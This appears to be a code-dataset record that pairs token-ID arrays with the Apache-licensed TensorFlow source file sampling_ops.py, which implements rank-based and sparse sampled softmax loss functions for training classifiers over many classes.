267, 1449, 398, 291, 14, 67, 14, 20208, 8, 600, 9, 267, 340, 3618, 26, 288, 862, 26, 355, 1830, 291, 14, 67, 14, 2573, 63, 4883, 8, 277, 14, 2593, 9, 508, 446, 17, 26, 490, 986, 355, 372, 715, 288, 871, 13483, 26, 355, 870, 298, 1058, 15692, 701, 18716, 315, 286, 14, 2573, 63, 4883, 8, 277, 14, 2593, 2924, 355, 372, 756, 398, 291, 14, 705, 275, 291, 14, 69, 14, 6843, 342, 267, 340, 291, 14, 705, 26, 288, 4928, 12, 1318, 275, 291, 14, 705, 288, 340, 4928, 315, 334, 472, 85, 1812, 7966, 14, 46, 1698, 63, 3170, 12, 7403, 85, 1812, 7966, 14, 31037, 63, 3170, 304, 355, 340, 291, 14, 71, 63, 3730, 63, 2590, 26, 490, 746, 29730, 85, 1812, 7966, 547, 8, 505, 9, 355, 587, 26, 490, 870, 1689, 705, 298, 435, 1318, 9, 288, 587, 26, 355, 870, 1689, 815, 298, 435, 1318, 9, 267, 372, 756, 339, 347, 664, 63, 1818, 63, 3557, 8, 277, 304, 267, 291, 14, 83, 14, 6843, 342, 267, 372, 291, 14, 83, 14, 3557, 63, 262, 63, 681, 688, 274, 339, 347, 4702, 63, 6021, 8, 277, 304, 267, 291, 14, 69, 14, 6843, 342, 267, 372, 291, 14, 83, 14, 71, 6021, 339, 347, 664, 63, 1818, 63, 2253, 8, 277, 304, 267, 486, 275 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 2344, 18268, 5299, 687, 333, 2976, 13, 396, 2344, 199, 199, 646, 7403, 85, 1812, 7966, 199, 646, 747, 199, 504, 900, 492, 9435, 421, 199, 3, 642, 365, 4212, 1846, 781, 3618, 367, 7403, 85, 1812, 7966, 370, 886, 4154, 330, 344, 1098, 199, 199, 533, 29730, 85, 1812, 7966, 547, 8, 1726, 304, 272, 986, 199, 3, 259, 347, 636, 826, 721, 277, 12, 574, 304, 199, 3, 263, 291, 14, 585, 275, 574, 199, 3, 259, 347, 636, 495, 721, 277, 304, 199, 3, 263, 372, 4700, 8, 277, 14, 585, 9, 199, 199, 533, 29730, 85, 1812, 7966, 3717, 26, 272, 1449, 272, 4976, 598, 13, 3034, 3718, 272, 1852, 3238, 11012, 12404, 787, 6290, 436, 14429, 272, 818, 365, 6290, 1454, 5403, 12, 436, 883, 506, 14429, 1454, 5403, 339, 4503, 2893, 26, 267, 325, 275, 325, 5466, 63, 2785, 342, 267, 325, 14, 6726, 63, 509, 63, 20208, 342, 288, 1263, 5007, 1007, 1808, 325, 14, 71, 480, 39, 16, 703, 12594, 267, 325, 14, 8192, 63, 20208, 342, 339, 1449, 339, 347, 636, 826, 721, 277, 12, 2593, 29, 18, 304, 267, 291, 14, 67, 275, 7403, 85, 1812, 7966, 14, 1531, 342, 267, 291, 14, 69, 275, 7403, 85, 1812, 7966, 14, 705, 63, 2775, 342, 267, 291, 14, 83, 275, 7403, 85, 1812, 7966, 14, 3736, 342, 267, 291, 14, 2593, 275, 2653, 339, 347, 3879, 8, 277, 12, 886, 63, 6843, 29, 549, 304, 267, 1449, 267, 1104, 781, 728, 12693, 365, 3879, 14, 267, 982, 880, 12, 286, 867, 6258, 370, 603, 1914, 818, 14, 267, 1449, 267, 340, 886, 63, 6843, 26, 288, 291, 14, 83, 14, 6843, 342, 267, 372, 334, 277, 14, 83, 14, 1765, 63, 632, 508, 7403, 85, 1812, 7966, 14, 6963, 63, 13883, 436, 355, 291, 14, 83, 14, 14252, 63, 929, 1137, 7403, 85, 1812, 7966, 14, 3843, 48, 63, 23715, 9, 339, 347, 663, 63, 632, 8, 277, 12, 77, 304, 267, 1449, 267, 663, 662, 7608, 818, 340, 3962, 12, 587, 7978, 29730, 85, 1812, 7966, 547, 267, 372, 1453, 818, 267, 1449, 267, 291, 14, 83, 14, 6843, 342, 267, 340, 291, 14, 83, 14, 1765, 63, 632, 508, 333, 520, 288, 372, 333, 267, 340, 291, 14, 5720, 8, 1117, 63, 6843, 29, 797, 304, 288, 746, 29730, 85, 1812, 7966, 547, 480, 20244, 3879, 446, 286, 867, 1570, 818, 531, 267, 291, 14, 67, 14, 632, 8, 77, 9, 267, 291, 14, 67, 14, 2573, 63, 4883, 342, 398, 372, 333, 339, 347, 663, 63, 929, 8, 277, 12, 77, 304, 267, 1449, 267, 663, 662, 7608, 818, 340, 3962, 12, 587, 7978, 29730, 85, 1812, 7966, 547, 267, 372, 1453, 818, 267, 1449, 267, 291, 14, 83, 14, 6843, 342, 267, 340, 291, 14, 83, 14, 1765, 63, 632, 508, 333, 520, 288, 372, 333, 267, 291, 14, 67, 14, 929, 8, 77, 9, 267, 291, 14, 67, 14, 2573, 63, 4883, 8, 277, 14, 2593, 9, 267, 372, 333, 339, 347, 886, 63, 4219, 8, 277, 12, 3127, 2629, 304, 267, 291, 14, 83, 14, 6843, 342, 267, 291, 14, 67, 14, 4219, 8, 3127, 2629, 9, 267, 291, 14, 67, 14, 2573, 63, 4883, 8, 277, 14, 2593, 9, 2378, 347, 4112, 63, 509, 63, 20208, 8, 277, 304, 267, 1449, 267, 1104, 781, 728, 4112, 370, 1255, 603, 1914, 3718, 14, 267, 1449, 267, 291, 14, 83, 14, 6843, 342, 267, 372, 440, 291, 14, 83, 14, 597, 411, 436, 291, 14, 83, 14, 3827, 436, 291, 14, 83, 14, 526, 3594, 339, 347, 9275, 63, 509, 63, 20208, 8, 277, 304, 267, 1449, 267, 1104, 781, 728, 4112, 370, 1255, 603, 1914, 3718, 14, 267, 7978, 221, 29730, 85, 1812, 7966, 547, 340, 370, 1447, 880, 14, 267, 372, 1453, 818, 267, 1449, 398, 291, 14, 83, 14, 6843, 342, 267, 340, 291, 14, 83, 14, 597, 411, 26, 288, 746, 29730, 85, 1812, 7966, 547, 480, 6744, 315, 221, 1719, 1938, 531, 398, 340, 440, 291, 14, 83, 14, 3827, 26, 288, 746, 29730, 85, 1812, 7966, 547, 480, 6744, 440, 5223, 531, 398, 340, 440, 291, 14, 83, 14, 526, 3594, 26, 288, 746, 29730, 85, 1812, 7966, 547, 480, 6744, 440, 5629, 68, 531, 398, 340, 291, 14, 5720, 837, 288, 746, 29730, 85, 1812, 7966, 547, 480, 20244, 440, 15072, 531, 398, 372, 291, 14, 409, 63, 632, 8, 472, 85, 1812, 7966, 14, 6963, 63, 45, 1914, 9, 339, 486, 63, 3730, 63, 2590, 275, 715, 339, 347, 486, 8, 277, 12, 600, 12, 2573, 29, 797, 304, 267, 1449, 267, 4976, 598, 13, 3034, 465, 603, 1914, 1414, 14, 267, 3618, 367, 13659, 340, 2648, 3505, 267, 1449, 398, 291, 14, 67, 14, 20208, 8, 600, 9, 267, 340, 3618, 26, 288, 862, 26, 355, 1830, 291, 14, 67, 14, 2573, 63, 4883, 8, 277, 14, 2593, 9, 508, 446, 17, 26, 490, 986, 355, 372, 715, 288, 871, 13483, 26, 355, 870, 298, 1058, 15692, 701, 18716, 315, 286, 14, 2573, 63, 4883, 8, 277, 14, 2593, 2924, 355, 372, 756, 398, 291, 14, 705, 275, 291, 14, 69, 14, 6843, 342, 267, 340, 291, 14, 705, 26, 288, 4928, 12, 1318, 275, 291, 14, 705, 288, 340, 4928, 315, 334, 472, 85, 1812, 7966, 14, 46, 1698, 63, 3170, 12, 7403, 85, 1812, 7966, 14, 31037, 63, 3170, 304, 355, 340, 291, 14, 71, 63, 3730, 63, 2590, 26, 490, 746, 29730, 85, 1812, 7966, 547, 8, 505, 9, 355, 587, 26, 490, 870, 1689, 705, 298, 435, 1318, 9, 288, 587, 26, 355, 870, 1689, 815, 298, 435, 1318, 9, 267, 372, 756, 339, 347, 664, 63, 1818, 63, 3557, 8, 277, 304, 267, 291, 14, 83, 14, 6843, 342, 267, 372, 291, 14, 83, 14, 3557, 63, 262, 63, 681, 688, 274, 339, 347, 4702, 63, 6021, 8, 277, 304, 267, 291, 14, 69, 14, 6843,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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Intel-Corporation/tensorflow
tensorflow/contrib/nn/python/ops/sampling_ops.py
27
14994
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Ops related to candidate sampling.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import embedding_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import nn from tensorflow.python.ops import nn_impl from tensorflow.python.ops import nn_ops def _rank_resample(weights, biases, inputs, sampled_values, num_resampled, resampling_temperature, partition_strategy): """A helper function for rank_sampled_softmax_loss. This computes, for each i in `sampled_values`, log(sum_j exp((w_i * x_j + b_i) / resampling_temperature)) where w_i, b_i are the weight and bias of the i-th class, respectively, and j ranges over the rows of `inputs`. For efficiency, we rearrange the computation to log(sum_j exp(w_i * (x_j / resampling_temperature))) + b_i / resampling_temperature. This translates to the following batched computation using tensorflow ops: reduce_logsumexp(matmul(embeddings, transpose(inputs / resampling_temperature))) + biases / resampling_temperature The computation of the first term is colocated with the embeddings using `transform_fn` in `embedding_ops._embedding_lookup_and_transform`. The second term, not the bottleneck, is computed at the worker. Args: weights: From `rank_sampled_softmax_loss`. biases: From `rank_sampled_softmax_loss`. inputs: From `rank_sampled_softmax_loss`. sampled_values: A tuple of (`sampled_candidates`, `true_expected_count`, `sampled_expected_count`) returned by a `*_candidate_sampler` function. num_resampled: An `int`. This many values are selected from `sampled_values` using the adaptive resampling algorithm. The caller must ensure that `num_resampled` is less than the size of `sampled_values`. resampling_temperature: A scalar `Tensor` with the temperature parameter for the adaptive resampling algorithm. partition_strategy: From `rank_sampled_softmax_loss`. Returns: A tuple of (`resampled_candidates`, `true_expected_count`, `resampled_expected_count`), similar to `sampled_values` but sampled down to `num_resampled` values. """ # This code supports passing a Tensor for num_resampled, but since it is only # called with an int, that's what we specify in the arg list. If this # function is ever externalized, we should change the doc to support Tensor. sampled, true_expected_count, sampled_expected_count = sampled_values sampled = math_ops.cast(array_ops.stop_gradient(sampled), dtypes.int64) true_expected_count = array_ops.stop_gradient(true_expected_count) sampled_expected_count = array_ops.stop_gradient(sampled_expected_count) reweighted_inputs = inputs / resampling_temperature def logsumexp_logit(embeddings): return math_ops.reduce_logsumexp( math_ops.matmul(embeddings, reweighted_inputs, transpose_b=True), axis=1, keepdims=False) # Calling this protected form of embedding_lookup allows co-locating # the logsumexp computation with the partitioned weights, which yields # a large speedup in practice. sampled_logits = embedding_ops._embedding_lookup_and_transform( # pylint: disable=protected-access weights, sampled, partition_strategy, transform_fn=logsumexp_logit) sampled_b = array_ops.reshape( embedding_ops.embedding_lookup(biases, sampled, partition_strategy), [-1]) sampled_logits += sampled_b / resampling_temperature _, resampled_indices = nn.top_k(sampled_logits, k=num_resampled, sorted=False) resampled = array_ops.gather(sampled, indices=resampled_indices) resampled_expected_count = array_ops.gather( sampled_expected_count, indices=resampled_indices) return resampled, true_expected_count, resampled_expected_count def rank_sampled_softmax_loss(weights, biases, labels, inputs, num_sampled, num_resampled, num_classes, num_true, sampled_values, resampling_temperature, remove_accidental_hits, partition_strategy, name=None): """Computes softmax loss using rank-based adaptive resampling. This has been shown to improve rank loss after training compared to `tf.nn.sampled_softmax_loss`. For a description of the algorithm and some experimental results, please see: [TAPAS: Two-pass Approximate Adaptive Sampling for Softmax](https://arxiv.org/abs/1707.03073). Sampling follows two phases: * In the first phase, `num_sampled` classes are selected using `tf.nn.learned_unigram_candidate_sampler` or supplied `sampled_values`. The logits are calculated on those sampled classes. This phases is similar to `tf.nn.sampled_softmax_loss`. * In the second phase, the `num_resampled` classes with highest predicted probability are kept. Probabilities are `LogSumExp(logits / resampling_temperature)`, where the sum is over `inputs`. The `resampling_temperature` parameter controls the "adaptiveness" of the resampling. At lower temperatures, resampling is more adaptive because it picks more candidates close to the predicted classes. A common strategy is to decrease the temperature as training proceeds. See `tf.nn.sampled_softmax_loss` for more documentation on sampling and for typical default values for some of the parameters. This operation is for training only. It is generally an underestimate of the full softmax loss. A common use case is to use this method for training, and calculate the full softmax loss for evaluation or inference. In this case, you must set `partition_strategy="div"` for the two losses to be consistent, as in the following example: ```python if mode == "train": loss = rank_sampled_softmax_loss( weights=weights, biases=biases, labels=labels, inputs=inputs, ..., partition_strategy="div") elif mode == "eval": logits = tf.matmul(inputs, tf.transpose(weights)) logits = tf.nn.bias_add(logits, biases) labels_one_hot = tf.one_hot(labels, n_classes) loss = tf.nn.softmax_cross_entropy_with_logits( labels=labels_one_hot, logits=logits) ``` Args: weights: A `Tensor` or `PartitionedVariable` of shape `[num_classes, dim]`, or a list of `Tensor` objects whose concatenation along dimension 0 has shape [num_classes, dim]. The (possibly-sharded) class embeddings. biases: A `Tensor` or `PartitionedVariable` of shape `[num_classes]`. The (possibly-sharded) class biases. labels: A `Tensor` of type `int64` and shape `[batch_size, num_true]`. The target classes. Note that this format differs from the `labels` argument of `nn.softmax_cross_entropy_with_logits`. inputs: A `Tensor` of shape `[batch_size, dim]`. The forward activations of the input network. num_sampled: An `int`. The number of classes to randomly sample per batch. num_resampled: An `int`. The number of classes to select from the `num_sampled` classes using the adaptive resampling algorithm. Must be less than `num_sampled`. num_classes: An `int`. The number of possible classes. num_true: An `int`. The number of target classes per training example. sampled_values: A tuple of (`sampled_candidates`, `true_expected_count`, `sampled_expected_count`) returned by a `*_candidate_sampler` function. If None, default to `nn.learned_unigram_candidate_sampler`. resampling_temperature: A scalar `Tensor` with the temperature parameter for the adaptive resampling algorithm. remove_accidental_hits: A `bool`. Whether to remove "accidental hits" where a sampled class equals one of the target classes. partition_strategy: A string specifying the partitioning strategy, relevant if `len(weights) > 1`. Currently `"div"` and `"mod"` are supported. See `tf.nn.embedding_lookup` for more details. name: A name for the operation (optional). Returns: A `batch_size` 1-D tensor of per-example sampled softmax losses. Raises: ValueError: If `num_sampled <= num_resampled`. """ if num_sampled > num_classes: raise ValueError("num_sampled ({}) cannot be greater than num_classes ({})". format(num_sampled, num_classes)) if num_sampled <= num_resampled: raise ValueError("num_resampled ({}) must be less than num_sampled ({})". format(num_resampled, num_sampled)) if partition_strategy not in ("div", "mod"): raise ValueError( "unsupported partition_strategy ({})".format(partition_strategy)) with ops.name_scope(name, "rank_sampled_softmax_loss", [ weights, biases, labels, inputs, sampled_values, resampling_temperature ]) as name: if not sampled_values: sampled_values = nn.learned_unigram_candidate_sampler( true_classes=labels, num_true=num_true, num_sampled=num_sampled, unique=True, range_max=num_classes) # From sampled_values, select the top num_resampled values using the # adaptive rank resampling strategy. resampled_values = _rank_resample(weights, biases, inputs, sampled_values, num_resampled, resampling_temperature, partition_strategy) return nn.sampled_softmax_loss( weights=weights, biases=biases, labels=labels, inputs=inputs, num_sampled=num_resampled, num_classes=num_classes, num_true=num_true, sampled_values=resampled_values, remove_accidental_hits=remove_accidental_hits, partition_strategy=partition_strategy, name=name) def sampled_sparse_softmax_loss(weights, biases, labels, inputs, num_sampled, num_classes, sampled_values=None, remove_accidental_hits=True, partition_strategy="mod", name="sampled_sparse_softmax_loss"): """Computes and returns the sampled sparse softmax training loss. This is a faster way to train a softmax classifier over a huge number of classes. This operation is for training only. It is generally an underestimate of the full softmax loss. A common use case is to use this method for training, and calculate the full softmax loss for evaluation or inference. In this case, you must set `partition_strategy="div"` for the two losses to be consistent, as in the following example: ```python if mode == "train": loss = tf.nn.sampled_sparse_softmax_loss( weights=weights, biases=biases, labels=labels, inputs=inputs, ..., partition_strategy="div") elif mode == "eval": logits = tf.matmul(inputs, tf.transpose(weights)) logits = tf.nn.bias_add(logits, biases) loss = tf.nn.sparse_softmax_cross_entropy_with_logits( labels=tf.squeeze(labels), logits=logits) ``` See our [Candidate Sampling Algorithms Reference] (https://www.tensorflow.org/extras/candidate_sampling.pdf) Also see Section 3 of [Jean et al., 2014](http://arxiv.org/abs/1412.2007) ([pdf](http://arxiv.org/pdf/1412.2007.pdf)) for the math. Args: weights: A `Tensor` of shape `[num_classes, dim]`, or a list of `Tensor` objects whose concatenation along dimension 0 has shape [num_classes, dim]. The (possibly-sharded) class embeddings. biases: A `Tensor` of shape `[num_classes]`. The class biases. labels: A `Tensor` of type `int64` and shape `[batch_size, 1]`. The index of the single target class for each row of logits. Note that this format differs from the `labels` argument of `nn.sparse_softmax_cross_entropy_with_logits`. inputs: A `Tensor` of shape `[batch_size, dim]`. The forward activations of the input network. num_sampled: An `int`. The number of classes to randomly sample per batch. num_classes: An `int`. The number of possible classes. sampled_values: a tuple of (`sampled_candidates`, `true_expected_count`, `sampled_expected_count`) returned by a `*_candidate_sampler` function. (if None, we default to `log_uniform_candidate_sampler`) remove_accidental_hits: A `bool`. whether to remove "accidental hits" where a sampled class equals one of the target classes. Default is True. partition_strategy: A string specifying the partitioning strategy, relevant if `len(weights) > 1`. Currently `"div"` and `"mod"` are supported. Default is `"mod"`. See `tf.nn.embedding_lookup` for more details. name: A name for the operation (optional). Returns: A `batch_size` 1-D tensor of per-example sampled softmax losses. """ logits, _ = nn_impl._compute_sampled_logits( weights=weights, biases=biases, labels=labels, inputs=inputs, num_sampled=num_sampled, num_classes=num_classes, num_true=1, sampled_values=sampled_values, subtract_log_q=True, remove_accidental_hits=remove_accidental_hits, partition_strategy=partition_strategy, name=name) # There is only one true label. _compute_sampled_logits puts the true logit # at index 0. labels = array_ops.zeros([array_ops.shape(logits)[0], 1], dtype=dtypes.int64) sampled_losses = nn_ops.sparse_softmax_cross_entropy_with_logits( labels=array_ops.squeeze(labels), logits=logits) # sampled_losses is a [batch_size] tensor. return sampled_losses
apache-2.0
[ 3, 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 16452, 4048, 370, 7627, 15877, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 12452, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 63, 5472, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 63, 1483, 421, 199, 318, 485, 4648, 63, 22882, 8, 4916, 12, 23548, 12, 4153, 12, 24914, 63, 1459, 12, 1967, 63, 22882, 68, 12, 673, 522, 23144, 63, 12954, 12, 6484, 63, 8590, 304, 523, 408, 33, 5922, 805, 367, 6915, 63, 25042, 63, 16395, 63, 4358, 14, 819, 961, 21445, 12, 367, 1924, 284, 315, 658, 25042, 63, 1459, 3559, 2541, 943, 8, 1838, 63, 74, 1437, 1332, 87, 63, 73, 627, 671, 63, 74, 435, 330, 63, 73, 9, 1182, 522, 23144, 63, 12954, 430, 819, 2382, 336, 63, 73, 12, 330, 63, 73, 787, 314, 5401, 436, 10671, 402, 314, 284, 13, 273, 1021, 12, 17342, 12, 523, 436, 1335, 12271, 1806, 314, 4730, 402, 658, 3711, 2313, 2104, 25978, 12, 781, 295, 285, 1842, 314, 523, 14009, 370, 2541, 943, 8, 1838, 63, 74, 1437, 8, 87, 63, 73, 627, 334, 88, 63, 74, 1182, 522, 23144, 63, 12954, 1724, 435, 881, 330, 63, 73, 1182, 522, 23144, 63, 12954, 14, 819, 961, 9028, 83, 370, 314, 2569, 3522, 379, 14009, 1808, 3228, 4156, 26, 2541, 7114, 63, 7270, 940, 9290, 8, 14465, 8, 32719, 12, 2432, 16992, 8, 3711, 1182, 522, 23144, 63, 12954, 1724, 435, 881, 23548, 1182, 522, 23144, 63, 12954, 819, 710, 14009, 402, 314, 1642, 6707, 365, 512, 13340, 543, 314, 6441, 21270, 1808, 523, 658, 4711, 63, 2324, 64, 315, 658, 14275, 63, 1483, 423, 14275, 63, 3892, 63, 460, 63, 4711, 2313, 710, 3499, 523, 6707, 12, 440, 314, 5888, 27412, 12, 365, 9235, 737, 314, 7239, 14, 819, 3033, 26, 272, 4931, 26, 11606, 658, 4648, 63, 25042, 63, 16395, 63, 4358, 2313, 272, 23548, 26, 11606, 658, 4648, 63, 25042, 63, 16395, 63, 4358, 2313, 272, 4153, 26, 11606, 658, 4648, 63, 25042, 63, 16395, 63, 4358, 2313, 272, 24914, 63, 1459, 26, 437, 2008, 402, 13493, 25042, 63, 16389, 3559, 658, 2052, 63, 2062, 63, 835, 3559, 267, 658, 25042, 63, 2062, 63, 835, 10522, 2138, 701, 282, 658, 10, 63, 9007, 63, 22934, 64, 805, 14, 272, 1967, 63, 22882, 68, 26, 1626, 658, 442, 2313, 961, 5002, 1338, 787, 4895, 687, 267, 658, 25042, 63, 1459, 64, 1808, 314, 1503, 22430, 522, 23144, 5563, 14, 710, 8025, 267, 1471, 4868, 626, 658, 1507, 63, 22882, 68, 64, 365, 6656, 2419, 314, 1568, 402, 267, 658, 25042, 63, 1459, 2313, 272, 522, 23144, 63, 12954, 26, 437, 6917, 658, 3861, 64, 543, 314, 14843, 2725, 267, 367, 314, 1503, 22430, 522, 23144, 5563, 14, 272, 6484, 63, 8590, 26, 11606, 658, 4648, 63, 25042, 63, 16395, 63, 4358, 2313, 819, 1803, 26, 272, 437, 2008, 402, 13493, 22882, 68, 63, 16389, 3559, 658, 2052, 63, 2062, 63, 835, 3559, 267, 658, 22882, 68, 63, 2062, 63, 835, 29984, 8545, 370, 658, 25042, 63, 1459, 64, 1325, 24914, 267, 3224, 370, 658, 1507, 63, 22882, 68, 64, 1338, 14, 523, 408, 523, 327, 961, 1233, 5171, 9476, 282, 5878, 367, 1967, 63, 22882, 68, 12, 1325, 3967, 652, 365, 1454, 523, 327, 2797, 543, 376, 1109, 12, 626, 1159, 4052, 781, 4165, 315, 314, 1680, 769, 14, 982, 642, 523, 327, 805, 365, 14433, 5957, 1759, 12, 781, 1077, 1570, 314, 1382, 370, 2291, 5878, 14, 819, 24914, 12, 2549, 63, 2062, 63, 835, 12, 24914, 63, 2062, 63, 835, 275, 24914, 63, 1459, 819, 24914, 275, 3473, 63, 1483, 14, 2931, 8, 1144, 63, 1483, 14, 2379, 63, 7490, 8, 25042, 395, 6674, 14, 442, 772, 9, 523, 2549, 63, 2062, 63, 835, 275, 1625, 63, 1483, 14, 2379, 63, 7490, 8, 2052, 63, 2062, 63, 835, 9, 523, 24914, 63, 2062, 63, 835, 275, 1625, 63, 1483, 14, 2379, 63, 7490, 8, 25042, 63, 2062, 63, 835, 9, 819, 295, 13522, 63, 3711, 275, 4153, 1182, 522, 23144, 63, 12954, 819, 347, 9610, 940, 9290, 63, 793, 390, 8, 32719, 304, 272, 372, 3473, 63, 1483, 14, 5270, 63, 7270, 940, 9290, 8, 267, 3473, 63, 1483, 14, 14465, 8, 32719, 12, 295, 13522, 63, 3711, 12, 16992, 63, 66, 29, 549, 395, 267, 3114, 29, 17, 12, 267, 18492, 29, 797, 9, 819, 327, 23892, 642, 17819, 1824, 402, 12452, 63, 3892, 6127, 512, 13, 2102, 1958, 523, 327, 314, 9610, 940, 9290, 14009, 543, 314, 27105, 4931, 12, 1314, 14801, 523, 327, 282, 7031, 8112, 384, 315, 24471, 14, 523, 24914, 63, 10492, 275, 12452, 63, 1483, 423, 14275, 63, 3892, 63, 460, 63, 4711, 8, 221, 327, 4287, 26, 3507, 29, 6798, 13, 2732, 489, 4931, 12, 24914, 12, 6484, 63, 8590, 12, 5793 ]
[ 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 16452, 4048, 370, 7627, 15877, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 12452, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 63, 5472, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 63, 1483, 421, 199, 318, 485, 4648, 63, 22882, 8, 4916, 12, 23548, 12, 4153, 12, 24914, 63, 1459, 12, 1967, 63, 22882, 68, 12, 673, 522, 23144, 63, 12954, 12, 6484, 63, 8590, 304, 523, 408, 33, 5922, 805, 367, 6915, 63, 25042, 63, 16395, 63, 4358, 14, 819, 961, 21445, 12, 367, 1924, 284, 315, 658, 25042, 63, 1459, 3559, 2541, 943, 8, 1838, 63, 74, 1437, 1332, 87, 63, 73, 627, 671, 63, 74, 435, 330, 63, 73, 9, 1182, 522, 23144, 63, 12954, 430, 819, 2382, 336, 63, 73, 12, 330, 63, 73, 787, 314, 5401, 436, 10671, 402, 314, 284, 13, 273, 1021, 12, 17342, 12, 523, 436, 1335, 12271, 1806, 314, 4730, 402, 658, 3711, 2313, 2104, 25978, 12, 781, 295, 285, 1842, 314, 523, 14009, 370, 2541, 943, 8, 1838, 63, 74, 1437, 8, 87, 63, 73, 627, 334, 88, 63, 74, 1182, 522, 23144, 63, 12954, 1724, 435, 881, 330, 63, 73, 1182, 522, 23144, 63, 12954, 14, 819, 961, 9028, 83, 370, 314, 2569, 3522, 379, 14009, 1808, 3228, 4156, 26, 2541, 7114, 63, 7270, 940, 9290, 8, 14465, 8, 32719, 12, 2432, 16992, 8, 3711, 1182, 522, 23144, 63, 12954, 1724, 435, 881, 23548, 1182, 522, 23144, 63, 12954, 819, 710, 14009, 402, 314, 1642, 6707, 365, 512, 13340, 543, 314, 6441, 21270, 1808, 523, 658, 4711, 63, 2324, 64, 315, 658, 14275, 63, 1483, 423, 14275, 63, 3892, 63, 460, 63, 4711, 2313, 710, 3499, 523, 6707, 12, 440, 314, 5888, 27412, 12, 365, 9235, 737, 314, 7239, 14, 819, 3033, 26, 272, 4931, 26, 11606, 658, 4648, 63, 25042, 63, 16395, 63, 4358, 2313, 272, 23548, 26, 11606, 658, 4648, 63, 25042, 63, 16395, 63, 4358, 2313, 272, 4153, 26, 11606, 658, 4648, 63, 25042, 63, 16395, 63, 4358, 2313, 272, 24914, 63, 1459, 26, 437, 2008, 402, 13493, 25042, 63, 16389, 3559, 658, 2052, 63, 2062, 63, 835, 3559, 267, 658, 25042, 63, 2062, 63, 835, 10522, 2138, 701, 282, 658, 10, 63, 9007, 63, 22934, 64, 805, 14, 272, 1967, 63, 22882, 68, 26, 1626, 658, 442, 2313, 961, 5002, 1338, 787, 4895, 687, 267, 658, 25042, 63, 1459, 64, 1808, 314, 1503, 22430, 522, 23144, 5563, 14, 710, 8025, 267, 1471, 4868, 626, 658, 1507, 63, 22882, 68, 64, 365, 6656, 2419, 314, 1568, 402, 267, 658, 25042, 63, 1459, 2313, 272, 522, 23144, 63, 12954, 26, 437, 6917, 658, 3861, 64, 543, 314, 14843, 2725, 267, 367, 314, 1503, 22430, 522, 23144, 5563, 14, 272, 6484, 63, 8590, 26, 11606, 658, 4648, 63, 25042, 63, 16395, 63, 4358, 2313, 819, 1803, 26, 272, 437, 2008, 402, 13493, 22882, 68, 63, 